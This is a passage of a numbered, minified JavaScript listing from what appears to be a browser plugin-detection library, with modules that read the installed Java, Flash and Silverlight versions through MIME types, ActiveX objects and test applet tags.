  636.                     l += 'style="' + this.getStyle.plugin(g) + '" ';
  637.                     var p = 1,
  638.                         m = 1;
  639.                     for (g = 0; g < c.length; g += 2) /[^\s]/.test(c[g + 1]) && (l += c[g] + '="' + c[g + 1] + '" '), /width/i.test(c[g]) && (p = 0), /height/i.test(c[g]) && (m = 0);
  640.                     l += (p ? 'width="' + this.pluginSize + '" ' : "") + (m ? 'height="' + this.pluginSize + '" ' : "");
  641.                     l += ">";
  642.                     for (g = 0; g < d.length; g += 2) /[^\s]/.test(d[g + 1]) && (l += a.openTag + 'param name="' + d[g] + '" value="' + d[g + 1] + '" />');
  643.                     l += e + a.openTag + "/" + b + ">"
  644.                 } else b = "", l = e;
  645.                 h || this.initDiv();
  646.                 c = h || this.getDiv();
  647.                 b = {
  648.                     span: null,
  649.                     winLoaded: a.win.loaded,
  650.                     tagName: b,
  651.                     outerHTML: l,
  652.                     DOM: this,
  653.                     time: (new Date).getTime(),
  654.                     width: this.width,
  655.                     obj: this.obj,
  656.                     readyState: this.readyState,
  657.                     objectProperty: this.objectProperty
  658.                 };
  659.                 if (c && c.parentNode) {
  660.                     this.setStyle(k, this.getStyle.span());
  661.                     c.appendChild(k);
  662.                     try {
  663.                         k.innerHTML = l
  664.                     } catch (q) {}
  665.                     b.span = k;
  666.                     b.winLoaded = a.win.loaded
  667.                 }
  668.                 return b
  669.             }
  670.         },
  671.         file: {
  672.             any: "fileStorageAny999",
  673.             valid: "fileStorageValid999",
  674.             save: function(b, c, d) {
  675.                 b && a.isDefined(d) && (b[this.any] || (b[this.any] = []), b[this.valid] || (b[this.valid] = []), b[this.any].push(d), (c = this.split(c, d)) && b[this.valid].push(c))
  676.             },
  677.             getValidLength: function(a) {
  678.                 return a && a[this.valid] ? a[this.valid].length : 0
  679.             },
  680.             getAnyLength: function(a) {
  681.                 return a && a[this.any] ? a[this.any].length : 0
  682.             },
  683.             getValid: function(a, c) {
  684.                 return a && a[this.valid] ? this.get(a[this.valid], c) : null
  685.             },
  686.             getAny: function(a, c) {
  687.                 return a && a[this.any] ? this.get(a[this.any], c) : null
  688.             },
  689.             get: function(b, c) {
  690.                 var d = b.length - 1,
  691.                     e = a.isNum(c) ? c : d;
  692.                 return 0 > e || e > d ? null : b[e]
  693.             },
  694.             split: function(b, c) {
  695.                 var d = null,
  696.                     e;
  697.                 b = b ? b.replace(".", "\.") : "";
  698.                 e = RegExp("^(.*[^\/])(" + b + "\s*)$");
  699.                 a.isString(c) && e.test(c) && (e = RegExp.$1.split("/"), d = {
  700.                     name: e[e.length - 1],
  701.                     ext: RegExp.$2,
  702.                     full: c
  703.                 }, e[e.length - 1] = "", d.path = e.join("/"));
  704.                 return d
  705.             }
  706.         },
  707.         Plugins: {}
  708.     };
  709.     window[a.name] = a;
  710.     a.INIT();
  711.     var k = {
  712.         mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  713.         mimeType_dummy: "application/dummymimejavaapplet",
  714.         classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  715.         classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  716.         navigator: {
  717.             init: function() {
  718.                 var b = k;
  719.                 try {
  720.                     this.a = window.navigator.javaEnabled()
  721.                 } catch (c) {}
  722.                 if (this.mimeObj = a.hasMimeType(b.mimeType)) this.pluginObj = this.mimeObj.enabledPlugin
  723.             },
  724.             a: !0,
  725.             javaEnabled: function() {
  726.                 return this.a
  727.             },
  728.             mimeObj: 0,
  729.             pluginObj: 0
  730.         },
  731.         OTF: null,
  732.         getVerifyTagsDefault: function() {
  733.             return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  734.         },
  735.         getVersion: function(b, c, d) {
  736.             var e = this.applet,
  737.                 f = this.verify,
  738.                 g = this.navigator,
  739.                 h = null,
  740.                 l = null,
  741.                 k = null;
  742.             null === this.getVersionDone && (this.OTF = 0, g.init(), f && f.init());
  743.             e.setVerifyTagsArray(d);
  744.             a.file.save(this, ".jar", c);
  745.             0 === this.getVersionDone ? e.should_Insert_Query_Any() && (c = e.insert_Query_Any(b), this.setPluginStatus(c[0], c[1], h, b)) : (h && !a.dbug || !this.navMime.query().version || (h = this.navMime.version), h && !a.dbug || !this.navPlugin.query().version || (h = this.navPlugin.version), h && !a.dbug || !this.DTK.query().version || (h = this.DTK.version), this.nonAppletDetectionOk(h) && (k = h), this.setPluginStatus(k, l, h, b), e.should_Insert_Query_Any() && (c = e.insert_Query_Any(b), c[0] && (k = c[0], l = c[1])), this.setPluginStatus(k, l, h, b))
  746.         },
  747.         nonAppletDetectionOk: function(b) {
  748.             var c = this.navigator,
  749.                 d = a.browser,
  750.                 e = 1;
  751.             if (!b || !c.javaEnabled() || !d.isIE && !c.mimeObj || d.isIE && !d.ActiveXEnabled) e = 0;
  752.             return e
  753.         },
  754.         setPluginStatus: function(b, c, d, e) {
  755.             var f, g = 0,
  756.                 h = this.applet;
  757.             d = d || this.version0;
  758.             if (f = h.isRange(b)) h.setRange(f, e) == b && (g = f), b = 0;
  759.             3 > this.OTF && (this.installed = g ? 0 < g ? 0.7 : -0.1 : b ? 1 : d ? -0.2 : -1);
  760.             2 == this.OTF && this.NOTF && !this.applet.getResult()[0] && (this.installed = d ? -0.2 : -1);
  761.             3 == this.OTF && -0.5 != this.installed && 0.5 != this.installed && (this.installed = 1 <= this.NOTF.isJavaActive(1) ? 0.5 : -0.5);
  762.             4 != this.OTF || -0.5 != this.installed && 0.5 != this.installed || (b ? this.installed = 1 : g ? this.installed = 0 < g ? 0.7 : -0.1 : 1 <= this.NOTF.isJavaActive(1) ? d ? (this.installed = 1, b = d) : this.installed = 0 : this.installed = d ? -0.2 : -1);
  763.             d && (this.version0 = a.formatNum(a.getNum(d)));
  764.             b && !g && (this.version = a.formatNum(a.getNum(b)));
  765.             c && a.isString(c) && (this.vendor = c);
  766.             this.vendor || (this.vendor = "");
  767.             this.verify && this.verify.isEnabled() ? this.getVersionDone = 0 : 1 != this.getVersionDone && (this.getVersionDone = 2 > this.OTF ? 0 : this.applet.can_Insert_Query_Any() ? 0 : 1);
  768.             a.codebase.emptyGarbage();
  769.         },
  770.         DTK: {
  771.             hasRun: 0,
  772.             status: null,
  773.             VERSIONS: [],
  774.             version: "",
  775.             HTML: null,
  776.             Plugin2Status: null,
  777.             classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  778.             mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  779.             isDisabled: function(b) {
  780.                 return this.HTML ? 1 : b || a.dbug ? 0 : this.hasRun || !a.DOM.isEnabled.objectTagUsingActiveX() ? 1 : 0
  781.             },
  782.             query: function(b) {
  783.                 var c = k,
  784.                     d, e, f = a.DOM.altHTML,
  785.                     g, h = null,
  786.                     l = null;
  787.                 b = this.isDisabled(b);
  788.                 this.hasRun = 1;
  789.                 if (b) return this;
  790.                 this.status = 0;
  791.                 if (a.DOM.isEnabled.objectTagUsingActiveX())
  792.                     for (d = 0; d < this.classID.length; d++) {
  793.                         this.HTML = a.DOM.insert("object", ["classid", this.classID[d]], [], f);
  794.                         h = this.HTML.obj();
  795.                         if (a.pd.getPROP(h, "jvms")) break;
  796.                     } else(e = a.hasMimeType(this.mimeType)) && e.type && (this.HTML = a.DOM.insert("object", ["type", e.type], [], f), h = this.HTML.obj());
  797.                 if (h) {
  798.                     try {
  799.                         if (g = a.pd.getPROP(h, "jvms"))
  800.                             if (l = g.getLength(), a.isNum(l))
  801.                                 for (this.status = 0 < l ? 1 : -1, d = 0; d < l; d++)
  802.                                     if (e = a.getNum(g.get(l - 1 - d).version)) this.VERSIONS.push(e), a.formatNum(e)
  803.                     } catch (p) {}
  804.                     this.VERSIONS.length && (this.version = a.formatNum(this.VERSIONS[0]))
  805.                 }
  806.                 return this
  807.             }
  808.         },
  809.         navMime: {
  810.             hasRun: 0,
  811.             mimetype: "",
  812.             version: "",
  813.             mimeObj: 0,
  814.             pluginObj: 0,
  815.             regexJPI: /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  816.             isDisabled: function() {
  817.                 var a = k;
  818.                 return this.hasRun || !a.navigator.mimeObj ? 1 : 0
  819.             },
  820.             update: function(b) {
  821.                 var c = b ? b.enabledPlugin : 0,
  822.                     d = b && this.regexJPI.test(b.type || "") ? a.formatNum(a.getNum(RegExp.$1)) : 0;
  823.                 d && c && (c.description || c.name) && (0 < a.compareNums(d, this.version || a.formatNum("0")) && (this.version = d, this.mimeObj = b, this.pluginObj = c, this.mimetype = b.type))
  824.             },
  825.             query: function() {
  826.                 var b = k,
  827.                     c, d, e, f, g, h = navigator.mimeTypes;
  828.                 c = this.isDisabled();
  829.                 this.hasRun = 1;
  830.                 if (c) return this;
  831.                 g = h.length;
  832.                 if (a.isNum(g))
  833.                     for (c = 0; c < g; c++) {
  834.                         d = 0;
  835.                         try {
  836.                             d = h[c]
  837.                         } catch (l) {}
  838.                         this.update(d)
  839.                     }
  840.                 if (!this.version || a.dbug)
  841.                     for (f = a.isArray(b.mimeType) ? b.mimeType : [b.mimeType], c = 0; c < f.length; c++) {
  842.                         d = 0;
  843.                         try {
  844.                             d = h[f[c]]
  845.                         } catch (n) {}
  846.                         g = (e = d ? d.enabledPlugin : 0) ? e.length : null;
  847.                         if (a.isNum(g))
  848.                             for (b = 0; b < g; b++) {
  849.                                 d = 0;
  850.                                 try {
  851.                                     d = e[b]
  852.                                 } catch (p) {}
  853.                                 this.update(d)
  854.                             }
  855.                     }
  856.                 return this
  857.             }
  858.         },
  859.         navPlugin: {
  860.             hasRun: 0,
  861.             version: "",
  862.             getPlatformNum: function() {
  863.                 var b = 0,
  864.                     c = /Java.*TM.*Platform[^\d]*(\d+)[\.,_]?(\d*)\s*U?(?:pdate)?\s*(\d*)/i,
  865.                     d = a.pd.findNavPlugin({
  866.                         find: c,
  867.                         mimes: k.mimeType,
  868.                         plugins: 1
  869.                     });
  870.                 d && (c.test(d.name || "") || c.test(d.description || "")) && 5 <= parseInt(RegExp.$1, 10) && (b = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0"));
  871.                 return b
  872.             },
  873.             getPluginNum: function() {
  874.                 var b = k,
  875.                     c = 0,
  876.                     d, e;
  877.                 d = /Java[^\d]*Plug-in/i;
  878.                 if (e = a.pd.findNavPlugin({
  879.                         find: d,
  880.                         num: 1,
  881.                         mimes: b.mimeType,
  882.                         plugins: 1,
  883.                         dbug: 0
  884.                     })) c = this.checkPluginNum(e.description, d), d = this.checkPluginNum(e.name, d), c = c && d ? 0 < a.compareNums(c, d) ? c : d : c || d;
  885.                 !c && (d = /Java.*\d.*Plug-in/i, e = a.pd.findNavPlugin({
  886.                     find: d,
  887.                     mimes: b.mimeType,
  888.                     plugins: 1,
  889.                     dbug: 0
  890.                 })) && (c = this.checkPluginNum(e.description, d), d = this.checkPluginNum(e.name, d), c = c && d ? 0 < a.compareNums(c, d) ? c : d : c || d);
  891.                 return c
  892.             },
  893.             checkPluginNum: function(b, c) {
  894.                 var d;
  895.                 (d = c.test(b) ? a.formatNum(a.getNum(b)) : 0) && 0 <= a.compareNums(d, a.formatNum("10")) && (d = d.split(a.splitNumRegx), d = a.formatNum("1," + (parseInt(d[0], 10) - 3) + ",0," + d[1]));
  896.                 d && (0 > a.compareNums(d, a.formatNum("1,3")) || 0 <= a.compareNums(d, a.formatNum("2"))) && (d = 0);
  897.                 return d
  898.             },
  899.             query: function() {
  900.                 var b = k,
  901.                     c = 0,
  902.                     b = this.hasRun || !b.navigator.mimeObj;
  903.                 this.hasRun = 1;
  904.                 if (b) return this;
  905.                 (!c || a.dbug) && (b = this.getPlatformNum()) && (c = b);
  906.                 (!c || a.dbug) && (b = this.getPluginNum()) && (c = b);
  907.                 c && (this.version = a.formatNum(c));
  908.                 return this
  909.             }
  910.         },
  911.         applet: {
  912.             codebase: {
  913.                 isMin: function(b) {
  914.                     this.$$ = k;
  915.                     return a.codebase.isMin(this, b)
  916.                 },
  917.                 search: function() {
  918.                     this.$$ = k;
  919.                     return a.codebase.search(this)
  920.                 },
  921.                 DIGITMAX: [
  922.                     [15, 128],
  923.                     [6, 0, 512], 0, [1, 5, 2, 256], 0, [1, 4, 1, 1],
  924.                     [1, 4, 0, 64],
  925.                     [1, 3, 2, 32]
  926.                 ],
  927.                 DIGITMIN: [1, 0, 0, 0],
  928.                 Upper: "999 10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4".split(" "),
  929.                 Lower: "10 5,0,20 1,5,0,20 1,4,1,20 1,4,1,2 1,4,1 1,4 0".split(" "),
  930.                 convert: [function(a, c) {
  931.                     return c ? [1 < parseInt(a[0], 10) ? "99" : parseInt(a[1], 10) + 3 + "", a[3], "0", "0"] : ["1", parseInt(a[0], 10) - 3 + "", "0", a[1]]
  932.                 }, function(a, c) {
  933.                     return c ? [a[1], a[2], a[3] + "0", "0"] : ["1", a[0], a[1], a[2].substring(0, a[2].length - 1 || 1)]
  934.                 }, 0, function(a, c) {
  935.                     return c ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
  936.                 }, 0, 1, function(a, c) {
  937.                     return c ? [a[0], a[1], a[2], a[3] + "0"] : [a[0], a[1], a[2], a[3].substring(0, a[3].length - 1 || 1)]
  938.                 }, 1]
  939.             },
  940.             results: [
  941.                 [null, null],
  942.                 [null, null],
  943.                 [null, null],
  944.                 [null, null]
  945.             ],
  946.             getResult: function() {
  947.                 var a = this.results,
  948.                     c, d = [];
  949.                 for (c = a.length - 1; 0 <= c && (d = a[c], !d[0]); c--);
  950.                 return d = [].concat(d)
  951.             },
  952.             DummySpanTagHTML: 0,
  953.             HTML: [0, 0, 0, 0],
  954.             active: [0, 0, 0, 0],
  955.             DummyObjTagHTML: 0,
  956.             DummyObjTagHTML2: 0,
  957.             allowed: [1, 1, 1, 1],
  958.             VerifyTagsHas: function(a) {
  959.                 var c;
  960.                 for (c = 0; c < this.allowed.length; c++)
  961.                     if (this.allowed[c] === a) return 1;
  962.                 return 0
  963.             },
  964.             saveAsVerifyTagsArray: function(b) {
  965.                 var c;
  966.                 if (a.isArray(b)) {
  967.                     for (c = 1; c < this.allowed.length; c++) b.length > c - 1 && a.isNum(b[c - 1]) && (0 > b[c - 1] && (b[c - 1] = 0), 3 < b[c - 1] && (b[c - 1] = 3), this.allowed[c] = b[c - 1]);
  968.                     this.allowed[0] = this.allowed[3];
  969.                 }
  970.             },
  971.             setVerifyTagsArray: function(b) {
  972.                 var c = k;
  973.                 null === c.getVersionDone && this.saveAsVerifyTagsArray(c.getVerifyTagsDefault());
  974.                 a.dbug ? this.saveAsVerifyTagsArray([3, 3, 3]) : b && this.saveAsVerifyTagsArray(b)
  975.             },
  976.             isDisabled: {
  977.                 single: function(b) {
  978.                     if (this.all()) return 1;
  979.                     if (0 == b) return a.codebase.isDisabled();
  980.                     if (1 == b) return !a.DOM.isEnabled.objectTag();
  981.                     if (2 == b) return this.AppletTag();
  982.                     if (3 == b) return !a.DOM.isEnabled.objectTagUsingActiveX()
  983.                 },
  984.                 all_: null,
  985.                 all: function() {
  986.                     var b = k.navigator,
  987.                         c = a.browser;
  988.                     null === this.all_ && (b = c.isOpera && 0 > a.compareNums(c.verOpera, "13,0,0,0") && !b.javaEnabled() || this.AppletTag() && !a.DOM.isEnabled.objectTag() || !b.mimeObj && !c.isIE ? 1 : 0, this.all_ = b);
  989.                     return this.all_
  990.                 },
  991.                 AppletTag: function() {
  992.                     var b = k.navigator;
  993.                     return a.browser.isIE ? !b.javaEnabled() : 0
  994.                 },
  995.                 VerifyTagsDefault_1: function() {
  996.                     var b = a.browser;
  997.                     return b.isIE && (9 > b.verIE || !b.ActiveXEnabled) || b.verGecko && 0 > a.compareNums(b.verGecko, a.formatNum("2")) || b.isSafari && (!b.verSafari || 0 > a.compareNums(b.verSafari, a.formatNum("4"))) || b.isOpera && 0 > a.compareNums(b.verOpera, a.formatNum("11")) ? 0 : 1
  998.                 }
  999.             },
  1000.             can_Insert_Query: function(a) {
  1001.                 var c = this.results[0][0],
  1002.                     d = this.getResult()[0];
  1003.                 return this.HTML[a] || 0 == a && null !== c && !this.isRange(c) || 0 == a && d && !this.isRange(d) ? 0 : !this.isDisabled.single(a)
  1004.             },
  1005.             can_Insert_Query_Any: function() {
  1006.                 var a;
  1007.                 for (a = 0; a < this.results.length; a++)
  1008.                     if (this.can_Insert_Query(a)) return 1;
  1009.                 return 0
  1010.             },
  1011.             should_Insert_Query: function(a) {
  1012.                 var c = this.allowed,
  1013.                     d = k,
  1014.                     e = this.getResult()[0],
  1015.                     e = e && (0 < a || !this.isRange(e));
  1016.                 return this.can_Insert_Query(a) && 0 !== c[a] ? 3 == c[a] || 2.8 == c[a] && !e || !d.nonAppletDetectionOk(d.version0) && (2 == c[a] || 1 == c[a] && !e) ? 1 : 0 : 0
  1017.             },
  1018.             should_Insert_Query_Any: function() {
  1019.                 var a;
  1020.                 for (a = 0; a < this.allowed.length; a++)
  1021.                     if (this.should_Insert_Query(a)) return 1;
  1022.                 return 0
  1023.             },
  1024.             query: function(b) {
  1025.                 var c = k,
  1026.                     d = null,
  1027.                     e = null,
  1028.                     f = this.results,
  1029.                     g, h = this.HTML[b];
  1030.                 if (h && h.obj() && !(f[b][0] || c.bridgeDisabled || a.dbug && 3 > c.OTF)) {
  1031.                     c = h.obj();
  1032.                     g = h.readyState();
  1033.                     try {
  1034.                         d = a.getNum(c.getVersion() + ""), e = c.getVendor() + "", c.statusbar(" ")
  1035.                     } catch (l) {}
  1036.                     d && a.isStrNum(d) && (f[b] = [d, e], this.active[b] = 2);
  1037.                 }
  1038.             },
  1039.             isRange: function(a) {
  1040.                 return /^[<>]/.test(a || "") ? ">" == a.charAt(0) ? 1 : -1 : 0
  1041.             },
  1042.             setRange: function(b, c) {
  1043.                 return (b ? 0 < b ? ">" : "<" : "") + (a.isString(c) ? c : "")
  1044.             },
  1045.             insertJavaTag: function(b, c, d, e, f) {
  1046.                 var g = k,
  1047.                     h = a.file.getValid(g),
  1048.                     l = h.path,
  1049.                     h = ["archive", h.name + h.ext, "code", "A.class"];
  1050.                 e = (e ? ["width", e] : []).concat(f ? ["height", f] : []);
  1051.                 f = ["mayscript", "true"];
  1052.                 var n = ["scriptable", "true", "codebase_lookup", "false"].concat(f),
  1053.                     p = g.navigator,
  1054.                     p = !a.browser.isIE && p.mimeObj && p.mimeObj.type ? p.mimeObj.type : g.mimeType[0];
  1055.                 if (1 == b) return a.DOM.insert("object", ["type", p].concat(e), ["codebase", l].concat(h).concat(n), d, g, 0, c);
  1056.                 if (2 == b) return a.browser.isIE ? a.DOM.insert("applet", ["alt", d].concat(f).concat(h).concat(e), ["codebase", l].concat(n), d, g, 0, c) : a.DOM.insert("applet", ["codebase", l, "alt", d].concat(f).concat(h).concat(e), [].concat(n), d, g, 0, c);
  1057.                 if (3 == b) return a.browser.isIE ? a.DOM.insert("object", ["classid", g.classID].concat(e), ["codebase", l].concat(h).concat(n), d, g, 0, c) : a.DOM.insert();
  1058.                 if (4 == b) return a.DOM.insert("embed", ["codebase", l].concat(h).concat(["type", p]).concat(n).concat(e), [], d, g, 0, c)
  1059.             },
  1060.             insert_Query_Any: function(b) {
  1061.                 var c = k,
  1062.                     d = this.results,
  1063.                     e = this.HTML,
  1064.                     f = a.DOM.altHTML,
  1065.                     g, h = a.file.getValid(c);
  1066.                 this.should_Insert_Query(0) && (2 > c.OTF && (c.OTF = 2), d[0] = [0, 0], (g = b ? this.codebase.isMin(b) : this.codebase.search()) && (d[0][0] = b ? this.setRange(g, b) : g), this.active[0] = g ? 1.5 : -1);
  1067.                 if (!h) return this.getResult();
  1068.                 this.DummySpanTagHTML || (this.DummySpanTagHTML = a.DOM.insert("", [], [], f));
  1069.                 this.should_Insert_Query(1) && (2 > c.OTF && (c.OTF = 2), e[1] = this.insertJavaTag(1, 0, f), d[1] = [0, 0], this.query(1));
  1070.                 this.should_Insert_Query(2) && (2 > c.OTF && (c.OTF = 2), e[2] = this.insertJavaTag(2, 0, f), d[2] = [0, 0], this.query(2));
  1071.                 this.should_Insert_Query(3) && (2 > c.OTF && (c.OTF = 2), e[3] = this.insertJavaTag(3, 0, f), d[3] = [0, 0], this.query(3));
  1072.                 a.DOM.isEnabled.objectTag() && (this.DummyObjTagHTML || !e[1] && !e[2] || (this.DummyObjTagHTML = a.DOM.insert("object", ["type", c.mimeType_dummy], [], f)), !this.DummyObjTagHTML2 && e[3] && (this.DummyObjTagHTML2 = a.DOM.insert("object", ["classid", c.classID_dummy], [], f)));
  1073.                 c.NOTF.init();
  1074.                 return this.getResult()
  1075.             }
  1076.         },
  1077.         NOTF: {
  1078.             count: 0,
  1079.             countMax: 25,
  1080.             intervalLength: 250,
  1081.             init: function() {
  1082.                 var b = k;
  1083.                 3 > b.OTF && this.shouldContinueQuery() && (b.OTF = 3, this.onIntervalQuery = a.ev.handler(this.$$onIntervalQuery, this), a.win.loaded || a.win.loadPrvtHndlrs.push([this.onWinLoadQuery, this]), setTimeout(this.onIntervalQuery, this.intervalLength))
  1084.             },
  1085.             shouldContinueQuery: function() {
  1086.                 var b = k.applet,
  1087.                     c, d = 0;
  1088.                 if (a.win.loaded && this.count > this.countMax) return 0;
  1089.                 for (c = 0; c < b.results.length; c++)
  1090.                     if (b.HTML[c] && (!a.win.loaded && this.count > this.countMax && a.codebase.pluginMayBeHanging(b.HTML[c].span) && (d = 1, b.HTML[c].DELETE = 1), !d && !b.results[c][0] && (2 <= b.allowed[c] || 1 == b.allowed[c] && !b.getResult()[0]) && 0 <= this.isAppletActive(c))) return 1;
  1091.                 return 0
  1092.             },
  1093.             isJavaActive: function(a) {
  1094.                 var c = k,
  1095.                     d, e, f = -9;
  1096.                 for (d = 0; d < c.applet.HTML.length; d++) e = this.isAppletActive(d, a), e > f && (f = e);
  1097.                 return f
  1098.             },
  1099.             isAppletActive: function(b, c) {
  1100.                 var d = k,
  1101.                     e = d.navigator,
  1102.                     f = d.applet,
  1103.                     g = f.HTML[b],
  1104.                     h = f.active,
  1105.                     l = 0,
  1106.                     n;
  1107.                 n = h[b];
  1108.                 if (c || 1.5 <= n || !g || !g.span) return n;
  1109.                 n = a.DOM.getTagStatus(g, f.DummySpanTagHTML, f.DummyObjTagHTML, f.DummyObjTagHTML2, this.count);
  1110.                 for (f = 0; f < h.length; f++) 0 < h[f] && (l = 1);
  1111.                 n = 1 != n ? n : a.browser.isIE || d.version0 && e.javaEnabled() && e.mimeObj && ("object" == g.tagName || l) ? 1 : 0;
  1112.                 return h[b] = n
  1113.             },
  1114.             onWinLoadQuery: function(a, c) {
  1115.                 var d;
  1116.                 3 == k.OTF && (d = c.queryAllApplets(), c.queryCompleted(d))
  1117.             },
  1118.             $$onIntervalQuery: function(a) {
  1119.                 var c = k,
  1120.                     d;
  1121.                 3 == c.OTF && (d = a.queryAllApplets(), a.shouldContinueQuery() || a.queryCompleted(d));
  1122.                 a.count++;
  1123.                 3 == c.OTF && setTimeout(a.onIntervalQuery, a.intervalLength)
  1124.             },
  1125.             queryAllApplets: function() {
  1126.                 var b = k.applet,
  1127.                     c;
  1128.                 for (c = 0; c < b.results.length; c++) b.query(c);
  1129.                 b = b.getResult();
  1130.                 return b
  1131.             },
  1132.             queryCompleted: function(b) {
  1133.                 var c = k,
  1134.                     d = c.applet,
  1135.                     e;
  1136.                 if (!(4 <= c.OTF)) {
  1137.                     c.OTF = 4;
  1138.                     this.isJavaActive();
  1139.                     for (e = 0; e < d.HTML.length; e++) d.HTML[e] && d.HTML[e].DELETE && (a.DOM.emptyNode(d.HTML[e].span), d.HTML[e].span = null);
  1140.                     c.setPluginStatus(b[0], b[1], 0);
  1141.                     a.onDetectionDone && c.DoneHndlrs && (a.ev.callArray(c.DoneHndlrs))
  1142.                 }
  1143.             }
  1144.         },
  1145.         zz: 0
  1146.     };
  1147.     a.addPlugin("java", k);
  1148.     var t = {
  1149.         mimeType: "application/x-shockwave-flash",
  1150.         setPluginStatus: function(b, c) {
  1151.             this.installed = c ? 1 : b ? 0 : -1;
  1152.             this.version = a.formatNum(c);
  1153.             this.getVersionDone = -1 == this.installed || this.axo.version || this.instance.version ? 1 : 0
  1154.         },
  1155.         getVersion: function(b, c) {
  1156.             var d = null,
  1157.                 e = 0;
  1158.             e && !a.dbug || !this.navPlugin.query().installed || (e = 1);
  1159.             d && !a.dbug || !this.navPlugin.query().version || (d = this.navPlugin.version);
  1160.             e && !a.dbug || !this.axo.query().installed || (e = 1);
  1161.             d && !a.dbug || !this.axo.query().version || (d = this.axo.version);
  1162.             (!e && !d || c || a.dbug) && this.instance.query().version && (e = 1, d = this.instance.version);
  1163.             this.setPluginStatus(e, d)
  1164.         },
  1165.         navPlugin: {
  1166.             hasRun: 0,
  1167.             installed: 0,
  1168.             version: null,
  1169.             getNum: function(a) {
  1170.                 return a ? (a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(a)) ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null : null
  1171.             },
  1172.             query: function() {
  1173.                 var b = t,
  1174.                     c, d = this.hasRun || !a.hasMimeType(b.mimeType);
  1175.                 this.hasRun = 1;
  1176.                 if (d) return this;
  1177.                 if (b = a.pd.findNavPlugin({
  1178.                         find: "Shockwave.*Flash",
  1179.                         mimes: b.mimeType,
  1180.                         plugins: ["Shockwave Flash"]
  1181.                     })) this.installed = 1, b.description && (c = this.getNum(b.description));
  1182.                 c && (c = a.getPluginFileVersion(b, c));
  1183.                 c && (this.version = c);
  1184.                 return this
  1185.             }
  1186.         },
  1187.         axo: {
  1188.             hasRun: 0,
  1189.             installed: 0,
  1190.             version: null,
  1191.             progID: "ShockwaveFlash.ShockwaveFlash",
  1192.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1193.             query: function() {
  1194.                 var b, c, d;
  1195.                 b = this.hasRun;
  1196.                 this.hasRun = 1;
  1197.                 if (b) return this;
  1198.                 for (c = 0; 10 > c; c++)
  1199.                     if (d = a.getAXO(this.progID + (c ? "." + c : ""))) {
  1200.                         this.installed = 1;
  1201.                         b = 0;
  1202.                         try {
  1203.                             b = a.getNum(d.GetVariable("$version") + "")
  1204.                         } catch (e) {}
  1205.                         if (b && (this.version = b, !a.dbug)) break
  1206.                     }
  1207.                 return this
  1208.             }
  1209.         },
  1210.         instance: {
  1211.             hasRun: 0,
  1212.             version: null,
  1213.             HTML: null,
  1214.             isEnabled: function() {
  1215.                 var b = t,
  1216.                     c = 1;
  1217.                 if (this.hasRun || a.DOM.isEnabled.objectTagUsingActiveX() || !a.hasMimeType(b.mimeType)) c = 0;
  1218.                 return c
  1219.             },
  1220.             query: function() {
  1221.                 var b = t,
  1222.                     c = this.isEnabled();
  1223.                 this.hasRun = 1;
  1224.                 if (c) {
  1225.                     this.HTML = a.DOM.insert("object", ["type", b.mimeType], ["play", "false", "menu", "false"], "", b);
  1226.                     try {
  1227.                         this.version = a.getNum(this.HTML.obj().GetVariable("$version") + "")
  1228.                     } catch (d) {}
  1229.                 }
  1230.                 return this
  1231.             }
  1232.         }
  1233.     };
  1234.     a.addPlugin("flash", t);
  1235.     a.addPlugin("silverlight", {
  1236.         getVersion: function() {
  1237.             var b = null,
  1238.                 c = 0;
  1239.             c && !a.dbug || !this.nav.query().installed || (c = 1);
  1240.             b && !a.dbug || !this.nav.query().version || (b = this.nav.version);
  1241.             c && !a.dbug || !this.axo.query().installed || (c = 1);
  1242.             b && !a.dbug || !this.axo.query().version || (b = this.axo.version);
  1243.             this.version = a.formatNum(b);
  1244.             this.installed = b ? 1 : c ? 0 : -1
  1245.         },
  1246.         nav: {
  1247.             hasRun: 0,
  1248.             installed: 0,
  1249.             version: null,
  1250.             mimeType: ["application/x-silverlight", "application/x-silverlight-2"],
  1251.             query: function() {
  1252.                 var b, c;
  1253.                 c = this.hasRun || !a.hasMimeType(this.mimeType);
  1254.                 this.hasRun = 1;
  1255.                 if (c) return this;
  1256.                 if (c = a.pd.findNavPlugin({
  1257.                         find: "Silverlight.*Plug-?in",
  1258.                         mimes: this.mimeType,
  1259.                         plugins: "Silverlight Plug-In"
  1260.                     })) this.installed = 1;
  1261.                 c && c.description && (b = a.formatNum(a.getNum(c.description + "")));
  1262.                 b && (b = b.split(a.splitNumRegx), 2 > parseInt(b[0], 10) && 30226 <= parseInt(b[2], 10) && (b[0] = "2"), b = b.join(","));
  1263.                 b && (this.version = b);
  1264.                 return this
  1265.             }
  1266.         },
  1267.         axo: {
  1268.             hasRun: 0,
  1269.             installed: 0,
  1270.             version: null,
  1271.             progID: "AgControl.AgControl",
  1272.             maxdigit: [20, 10, 10, 100, 100, 10],
  1273.             mindigit: [0, 0, 0, 0, 0, 0],
  1274.             IsVersionSupported: function(b, c) {
  1275.                 try {
  1276.                     return this.testVersion ? 0 <= a.compareNums(a.formatNum(this.testVersion.join(",")), a.formatNum(c.join(","))) : b.IsVersionSupported(this.format(c))
  1277.                 } catch (d) {}
  1278.                 return 0
  1279.             },
  1280.             format: function(a) {
  1281.                 return a[0] + "." + a[1] + "." + a[2] + this.make2digits(a[3]) + this.make2digits(a[4]) + "." + a[5]
  1282.             },
  1283.             make2digits: function(a) {
  1284.                 return (10 > a ? "0" : "") + a + ""
  1285.             },
  1286.             query: function() {
  1287.                 var b, c;
  1288.                 b = this.hasRun;
  1289.                 this.hasRun = 1;
  1290.                 if (b) return this;
